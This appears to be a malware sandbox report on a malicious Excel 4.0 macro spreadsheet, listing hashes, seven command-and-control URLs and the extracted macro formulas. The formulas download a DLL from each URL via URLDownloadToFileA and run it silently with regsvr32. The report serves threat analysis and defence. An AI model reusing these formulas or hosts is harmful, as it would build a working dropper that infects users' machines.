General

  • Target

    320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba

  • Size

    29KB

  • MD5

    59ca4fae0fe8ee6e31945498d84671a1

  • SHA1

    87e6eeca690e85e4b39def80ceac5ee04f77833f

  • SHA256

    320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba

  • SHA512

    f8f875ff89c396b845d3c0d4193ddb311316deed501e813236dc7a418be1bd08c4040729f30fae33e1c70d22b4a56a10c7b1eb652e5d46f073d68ca5608e7291

  • SSDEEP

    384:3CGTYRX5Unzt2nmnAcLK5J9AVs6TeEB/g4Bmq3FrEBTqwGFzHUnoCV9RmNCtmxhV:3CGURJUnz0mD4ys2ewg4F32BUH6J948U

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.aulavirtualapecc.com/server/qramDt1UIotz/

https://ingelse.net/Overview/slWIUhVtK/

http://calzadoyuyin.com/cgj-bin/uzOOL/

https://wimmergroup.com/home_tours/Pvnw2/

http://www.arkidecture.com/vendor/5Ibj6pmUm/

http://bizztream.com/images/NS85wHTdIY9N5Ay/

https://www.berekethaber.com/dosyalar/2z6RZL/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.aulavirtualapecc.com/server/qramDt1UIotz/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ingelse.net/Overview/slWIUhVtK/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://calzadoyuyin.com/cgj-bin/uzOOL/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wimmergroup.com/home_tours/Pvnw2/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkidecture.com/vendor/5Ibj6pmUm/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bizztream.com/images/NS85wHTdIY9N5Ay/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.berekethaber.com/dosyalar/2z6RZL/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

Files

  • 320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba
    .xlsx office2007